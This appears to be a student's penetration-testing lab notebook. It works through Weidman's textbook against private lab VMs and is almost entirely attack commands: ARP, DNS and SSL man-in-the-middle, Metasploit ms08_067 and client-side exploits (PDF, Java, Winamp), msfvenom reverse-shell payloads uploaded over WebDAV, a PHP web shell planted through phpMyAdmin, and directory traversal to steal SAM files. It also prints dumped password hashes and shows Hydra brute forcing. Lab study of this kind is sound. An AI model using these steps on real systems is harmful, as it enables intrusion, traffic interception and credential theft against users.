*** My IP Addresses ****

Windows 11 IP address: 192.168.116.1

Windows XP IP address: 192.168.116.131

Windows 7 IP address: 192.168.116.133

Kali Linux IP address: 192.168.116.130

Ubuntu IP Address: 192.168.116.134

ftp 192.168.116.134

Parrot OS: 192.168.116.128

****

```
$apt-get update
$apt-get upgrade
$apt-get update --fix-missing
```

Author's IP addresses:

Kali: 192.168.20.9

XP: 192.168.20.10

Ubuntu: 192.168.20.11

To find IP addres in linux, enter $ifconfig

To find IP addres in windows, enter $ipconfig

To find gateway in linux, enter $route

Older Versions of Nmap or netcat (inbuilt present in nmap) can be found at https://nmap.org/dist/

For older versions of Win XP 32 bit install nmap 6.01

In linux netcat command is $nc

In windows netcat command is >ncat -help

In linux arp command is $arp

In windows arp command is $arp -a

MITM attack using ARP Cache Poisoning (ACP)

1. ping command to obtain MAC addresses

In kali: $ping 192.168.116.131

$ping 192.168.116.128

In Parrot: $ping 192.168.116.131

In XP: $ping 192.168.116.128

2. Enable IP forwarding

In kali:

```
echo 1 > /proc/sys/net/ipv4/ip_forward
```

3. ARP cache poisoning with ARPSpoof

In kali:

```
$arpspoof -i eth0 -t 192.168.116.131 192.168.116.128
$arpspoof -i eth0 -t 192.168.116.128 192.168.116.131
```

4. Exchange messages (E.g., chatting using netcat command) between two targets(XP, Parrot, Ubuntu, etc.) and capture these messages using wireshark in intermediate devices(kali)

In kali:

Run wireshark: $wireshark

In XP: open terminal, enter >ncat -4 -nvlp 1234

In Parrot: enter $nc 192.168.116.131 1234

Using ARP Cache Poisoning to Impersonate the Default Gateway

```
$route
$arpspoof -i eth0 -t 192.168.116.128 192.168.116.2
$arpspoof -i eth0 -t 192.168.116.2 192.168.116.128
```

DNS Cache Poisoning (DCP)

$nslookup www.gmail.com

To start apache2 sever: $service apache2 start

To check the status: $systemctl status apache2

To stop apache2 sever: $service apache2 stop

$nano hosts.txt, To save ctrl+o, to exit ctrl+x

$dnsspoof -i eth0 -f hosts.txt

Using Ettercap for SSL Man-in-the-Middle Attacks (MITM Attack using SSL attack)

Ettercap Configuration: Page no. 22 in the textbook Georgia Weidman, Penetration testing A Hands-On Introduction to Hacking

1) Make sure ec_uid and ec_gid values are 0 as follows

$nano /etc/ettercap/etter.conf

```
[privs]

ec_uid = 0 # nobody is the default

ec_gid = 0 # nobody is the default
```

2) uncomment (remove the #) from #redir_command_on, #redir_command_off, #redir6_command_on and #redir6_command_off.

```
#---------------

#     Linux

#---------------

   redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp -d %destination --dport %>
```

```
  redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp -d %destination --dport >


# pendant for IPv6 - Note that you need iptables v1.4.16 or newer to use IPv6 redirect
  redir6_command_on = "ip6tables -t nat -A PREROUTING -i %iface -p tcp -d %destination --dport>
  redir6_command_off = "ip6tables -t nat -D PREROUTING -i %iface -p tcp -d %destination --dpor>
```

```
(optional)$apt-get install debhelper bison check cmake flex ghostscript libbsd-dev \
        libcurl4-openssl-dev libgeoip-dev libltdl-dev libluajit-5.1-dev \
        libncurses5-dev libnet1-dev libpcap-dev libpcre3-dev libssl-dev \
        libgtk-3-dev libgtk2.0-dev libmaxminddb-dev
$service apache2 start
$ettercap -Ti eth0 -M arp:remote /192.168.116.2// /192.168.116.128//
```

1) First visit http://testphp.vulnweb.com/

2) Second visit https://www.facebook.com/

3) Use the example of Running Nessus installation

MITM Attack using SSLstrip Attack

```
$echo 1 > /proc/sys/net/ipv4/ip_forward
$iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
$arpspoof -i eth0 -t 192.168.116.131 192.168.116.2
$sslstrip -l 8080
```

http://www.rapid7.com/db/modules/

Installation of Nessus

To install Nessus: https://adamtheautomator.com/install-nessus-on-kali/

In terminal: $/bin/systemctl start nessusd.service OR $systemctl start nessusd

To check status: $systemctl start nessusd

In browser: https://192.168.116.130:8834/

To stop Nessus: $systemctl stop nessusd

To add user manually: $/opt/nessus/sbin/nessuscli adduser (Refer following Links: 1) https://docs.tenable.com/nessus/command-line-reference/Content/AddAUser.htm 2) https://community.tenable.com/s/question/0D53a00008HAOwFCAX/new-installation-of-nessus-pro-error-with-user-creation-at-the-start-a-possible-solution 3))

To enable Nessus on Boot: $systemctl enable nessusd

To disable Nessus on Boot: $systemctl disable nessusd

```
cp /home/pravin/all-2.0.tar.gz /opt/nessus/sbin
```

Exploitation using MSFConsole:

Exploiting WebDAV Default Credentials

```
msf> search ms08-067
msf > use exploit/windows/smb/ms08_067_netapi (or use 0)
msf exploit(ms08_067_netapi) > show targets
   ...targets...
msf exploit(ms08_067_netapi) > set RSHOST 192.168.116.131
msf exploit(ms08_067_netapi) > show options
   ...show and set options...
msf exploit(ms08_067_netapi) > show payloads
   ...show and set options...
msf exploit(ms08_067_netapi) > exploit
```

```
$cadaver http://192.168.116.131/webdav
Username: wampp
Password: xampp
dav:/webdav/> put test.txt
```

Browse in XP: http://192.168.116.131/webdav/test.txt

Uploading a Msfvenom payload

Example Given in the textbook (Page no 183)

```
$msfconsole

$msfvenom -h

$msfvenom -l payloads | grep "php/"

$use php/meterpreter/reverse_tcp

$msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.116.130 LPORT=4444 -f raw > meterpreter.php
```

```
$cadaver http://192.168.116.131/webdav

Username: wampp

Password: xampp

dav:/webdav/> put meterpreter.php
```

```
$set payload php/meterpreter/reverse_tcp

$show options

$exploit
```

Browse in XP: http://192.168.116.131/webdav/meterpreter.php

check msfconsole in Kali

Uploading a Msfvenom payload

Example Given in the link: https://www.geeksforgeeks.org/working-with-payload-metasploit-in-kali-linux/

Uploading a Msfvenom payload

```
$msfconsole

$msfvenom -h

$msfvenom -l payloads

$msfvenom -a x86 –platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.116.130 LPORT=4444 -f exe -o payload.exe
```

Check file in the home directory of Attacker

Open other terminal

```
$cadaver http://192.168.116.131/webdav
Username: wampp
Password: xampp
dav:/webdav/> put payload.exe
```

Go to Windows XP machine

Visit the C:\Program Files\XAMPP\xampp\webdav

Check for the file

Go to msfconsole in Attacker

```
$use multi/handler
$set payload windows/meterpreter/reverse_tcp
$show options
$set lhost 192.168.116.130
$exploit
```

Go to Windows XP machine

Execute the payload.exe and check the connection on the Kali Machine.

Go to msfconsole in Attacker

```
meterpreter >
meterpreter > help
meterpreter > ls
meterpreter > cat test.txt
meterpreter > sysinfo
```

Exploiting Open phpMyAdmin

http://192.168.116.131/phpmyadmin/

```
SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\Program Files\\XAMPP\\xampp\\htdocs\\shell.php"
```

http://192.168.116.131/shell.php

```
http://192.168.116.131/shell.php?cmd=ipconfig
http://192.168.116.131/shell.php?cmd=help
http://192.168.116.131/shell.php?cmd=arp -a
```

Kali

```
$atftpd --daemon --bind-address 192.168.116.130 /home/pravin
```

XP Browser

```
http://192.168.116.131/shell.php?cmd=tftp -i 192.168.116.130 GET meterpreter.php
```

```
http://192.168.116.131/shell.php?cmd=tftp -i 192.168.116.130 GET meterpreter.php C:\\Program Files\\XAMPP\\xampp\\htdocs\\meterpreter.php
```

```
$atftpd --daemon --port 69 /tftp
$/etc/init.d/atftpd restart
```

```
$tftp -i 192.160.1.101 GET wget.exe
```

Downloading Sensitive File

In XP

Page No. 40

Install Zervit sever from the link in WIN XP using the following URL:

https://www.exploit-db.com/exploits/12582

Unzip and Run the file

Enter port number 3232

Allow directory listing: Y

Zervit server need to be started manually from the directory(C:\Documents and Settings\Administrator\My Documents\zervit-0.4_win)

Start and Run Zervit server

In Kali,

```
$nmap 192.168.116.131
```

```
$nmap 192.168.116.131 -p3232
```

MDTP: Multidata Transmit Protocol. MDT enables the network stack to send more than one packet at one time to the network device driver during transmission.

https://docs.oracle.com/cd/E19683-01/817-5770/whatsnew-updates-98/index.html

Enter following URL in the browser

http://192.168.116.131:3232/

```
$nc 192.168.116.131 3232
GET / HTTP/1.1
```

(Enter above line manually)

In XP, go to explorer and type

c:\boot.ini

boot.ini is a text file located at the root of the system partition, typically c:\boot.ini. It stores boot options for computers.

In kali

```
$nc 192.168.116.131 3232
GET /../../../../boot.ini HTTP/1.1
```

Note: The directory of Zervit installation is C:\Documents and Settings\Administrator\My Documents\zervit-0.4_win, and We want to load C:/boot.ini. Hence, if you want to access boot.ini file, first you have to go four folders back and then you will reach direcory C:/. Then you can specify C:/boot,ini

If you type the following

```
$nc 192.168.116.131 3232
GET C:/boot.ini HTTP/1.1
```

If you enter the above line, you will get an error: File not found

In browser

http://192.168.116.131:3232/index.html?../../../../boot.ini

Error: File not found, because Zervit server doesn’t have access to these file configuration files.

Downloading a Configuration File: FileZilla Server.xml

```
$nc 192.168.116.131 3232
```

```
GET /../../../../Program%20Files/XAMPP/xampp/FileZillaFTP/FileZilla%20Server.xml HTTP/1.1
```

```
GET /../../../../Program%20Files/XAMPP/xampp/FileZillaFTP/FileZilla%20Server.xml HTTP/1.1 -o o1.txt
```

Downloading the Windows SAM

Obfuscated: Unclear, Complex

```
$nc 192.168.116.131 3232
```

```
GET /../../../../WINDOWS/repair/system HTTP/1.1
```

```
GET /../../../../WINDOWS/repair/sam HTTP/1.1
```

```
GET /../../../../WINDOWS/repair/sam HTTP/1.1 >> tee sam2.txt
```

http://192.168.116.131:3232/index.html?../../../../WINDOWS/repair/system

http://192.168.116.131:3232/index.html?../../../../WINDOWS/repair/sam

If you try the following command, we get a “file not

found” error because Zervit server doesn’t have access to this file as it is a system configuration file: http://192.168.116.131:3232/index.html?../../../../WINDOWS/system32/config/system

IN XP

To save the registry values of the SAM file and system file in a file in the system by using the following commands:

```
reg save hklm\sam c:\sam
```

```
reg save hklm\system c:\system
```

Registry Editor: HKEY_LOCAL_MACHINE\SAM

Password Attacks

Wordlists

```
$nano userlist.txt
```

```
$cat userlist.txt
$nano passwordfile.txt
$cat passwordfile.txt
```

CEWL Tool

CeWL: Custom Word List generator

```
$cewl --help
$cewl -w bulbwords.txt -d 1 -m 5 www.bulbsecurity.com
$cewl -w bulbwords.txt -d 4 -m 5 www.facebook.com
$cewl -w bulbwords.txt -d 6 -m 5 https://www.facebook.com
$cewl -w bulbwords.txt -d 6 -m 5 https://www.facebook.com -v
$cewl -w bulbwords.txt -d 6 -m 5 http://www.vulnweb.com/ -v
```

The verbose option in Linux is a command-line option that can be used with many commands and utilities to enable more detailed output. When the verbose option is used, the command or utility will provide more information about its operation, including intermediate steps, error messages, and other relevant details.

```
$cat bulbwords.txt
```

Crunch Tool

```
$crunch --help
$man crunch
$crunch 7 7 AB
$crunch 7 7 AB -o p1.txt
```

Hydra Tool

```
$hydra -h
$man hydra
$nmap 192.168.116.131
$hydra -L userlist.txt -P passwordfile.txt 192.168.116.131 ftp
$hydra -l userlist.txt -P passwordfile.txt 192.168.116.131 ftp
```

Offline Password Attacks

Follow the steps used in "Uploading msfvenom payload" to upload "payload.exe" file to the target

Open msfconsole in Attacker

```
$msfconsole
msf6 > search ms08_067_netapi
msf6 > use 0 OR msf6 >use ms08_067_netapi
msf6 > set payload windows/meterpreter/reverse_tcp
msf6 > show options
msf6 > set lhost 192.168.116.130
msf6 > set rhost 192.168.116.131
msf6 > exploit
```

Go to Windows XP machine

Execute the payload.exe and check the connection on the Kali Machine.

Go to msfconsole in Attacker

```
meterpreter > hashdump
Administrator:500:ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204beb12283678:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:d329f587508c5b1d117ed0873d5e3164:c83f669c85d8003da3c733c93df5ba5f:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:1b1a13e41603b4a29946882a87198b52:::
```

Select the terminal output to the file "xphashes.txt"

Downloading the Windows SAM/ SYSTEM files

Run zervit server in WIN XP manually

In Kali

Note: Copy the terminal output manually or using Script command

```
$nc 192.168.116.131 3232
GET /../../../../WINDOWS/repair/sam HTTP/1.1
```

```
$nc 192.168.116.131 3232
GET /../../../../WINDOWS/repair/system HTTP/1.1
```

In kali browser

http://192.168.116.131:3232/index.html?../../../../WINDOWS/repair/system

http://192.168.116.131:3232/index.html?../../../../WINDOWS/repair/sam

Saving the Terminal Output to a File Using the script

Syntax:

```
$script {File Name}
$script system1.txt
{Execute the commands}
```

E.g.,

```
$nc 192.168.116.131 3232
GET /../../../../WINDOWS/repair/system HTTP/1.1
$exit
```

Check the contents of file stored in the home directory

https://www.hackingarticles.in/credential-dumping-sam/

Recovering Password Hashes from a Windows SAM File

In textbook, bkhive and samdump2 tools are used. The output produced by both tools can also be produced by samdump2 alone. Only the method to use samdump2 is different.

```
$samdump2 system sam
```

John the Ripper tool

```
$john xphashes.txt
```

Chapter 10: Client-Side Exploitation

Bypassing Filters with Metasploit Payloads

```
$msfconsole

msf6 > use ms08_067_netapi

msf6 > set payload windows/shell/reverse_tcp_allports

msf6 > show options

msf6 > set rhost 192.168.116.131

msf6 > set lport 4444

msf6 > exploit
```

```
C:\Program Files\XAMPP\xampp\webdav>

C:\Program Files\XAMPP\xampp\webdav>ipconfig
```

Client-Side Attacks

Browser Exploitation

```
msf6 > service apache2 status

msf6 > use exploit/windows/browser/ms10_002_aurora

msf6 > show options

msf6 > set SRVHOST 192.168.116.130

msf6 > set SRVPORT 80

msf6 > set URIPATH aurora

msf6 > set payload windows/meterpreter/reverse_tcp

msf6 > exploit
```

Type the following in Internet Explorer in Windows XP

http://vuln-web.com

http://exploit-db.com

http://192.168.116.130/aurora

CTRL + C

```
msf6 > jobs
```

```
msf6 > kill 0
```

Running Scripts in a Meterpreter Session

```
$cd /usr/share/metasploit-framework/scripts/meterpreter
$ls
$cat hashdump.rb
```

PDF Exploits (https://kosh.nku.edu/~waldenj/classes/2018/fall/cit485/lessons/lesson-pdf.pdf)

```
msf6 > use exploit/windows/fileformat/adobe_utilprintf
msf6 > show options
msf6 > exploit
```

```
msf6 > cp /root/.msf4/local/msf.pdf /var/www/html/
msf6 > service apache2 start
msf6 > use multi/handler
msf6 > set payload windows/meterpreter/reverse_tcp
msf6 > set lhost 192.168.116.130
msf6 > exploit
```

In WIN XP

IN Internet Explorer or Firefox, Open the following

http://192.168.116.130/msf.pdf

```
meterpreter> arp -a
meterpreter> ipconfig
meterpreter> exit
```

```
msf6 > show advanced
msf6 > set ExitOnSession false
msf6 > exploit -j
```

```
msf6 > exit -y
```

PDF Embedded Executable Exploit

```
msf6 > use exploit/windows/fileformat/adobe_pdf_embedded_exe

msf6 > show options

msf6 > set INFILENAME /usr/share/set/readme/User_Manual.pdf

msf6 > set payload windows/meterpreter/reverse_tcp

msf6 > set lhost 192.168.116.130

msf6 > exploit


msf6 > cp /root/.msf4/local/evil.pdf /var/www/html/

msf6 > service apache2 start

msf6 > use multi/handler

msf6 > set payload windows/meterpreter/reverse_tcp

msf6 > set lhost 192.168.116.130

msf6 > exploit
```

In WIN XP

IN Internet Explorer or Firefox, Open the following

http://192.168.116.130/evil.pdf

```
meterpreter> arp -a

meterpreter> ipconfig

meterpreter> quit
```

Java Exploits

Java Vulnerability

```
msf6 > use exploit/multi/browser/java_jre17_jmxbean

msf6 > show options

msf6 > set SRVHOST 192.168.116.130
```

```
msf6 > set SRVPORT 80
msf6 > set URIPATH javaexploit

msf6 > set payload java/meterpreter/reverse_http
msf6 > show options
msf6 > exploit
```

Type the following in Internet Explorer in Windows XP

http://192.168.116.130/javaexploit

Signed Java Applet

```
msf6 > use exploit/multi/browser/java_signed_applet
msf6 > show options
msf6 > set APPLETNAME BulbSec
msf6 > set SRVHOST 192.168.116.130
msf6 > set SRVPORT 80
msf6 > show targets
msf6 > set target 0
msf6 > set payload java/meterpreter/reverse_tcp
msf6 > set lhost 192.168.116.130
msf6 > exploit
```

Type the following in Firefox/Internet Explorer in Windows 7

http://192.168.116.130/javaexploit

browser_autopwn

```
use auxiliary/server/browser_autopwn
msf6 > set lhost 192.168.116.130
set URIPATH autopwn
exploit
```

http://192.168.116.130/autopwn

Exploiting Winamp

```
msf6 > use exploit/windows/fileformat/winamp_maki_bof
msf6 > show options
msf6 > set payload windows/meterpreter/reverse_tcp
msf6 > set lhost 192.168.116.130
msf6 > exploit
$cd /root/.msf4/local
$ls
$cp /root/.msf4/local/mcvcore.maki /var/www/html/

$cp /root/.msf4/local/mcvcore.maki /home/pravin/Rocketship/scripts
msf6 > cp /home/pravin/Rocketship.zip /var/www/html/

msf6 > service apache2 start
msf6 > use multi/handler
msf6 > set payload windows/meterpreter/reverse_tcp
msf6 > set lhost 192.168.116.130
msf6 > exploit
```

In WIN XP

IN Internet Explorer or Firefox, Open the following

http://192.168.116.130/mcvcore.maki

http://192.168.116.130/Rocketship.zip

SET

http://192.168.116.130/

```
$cd /root/.set/reports
```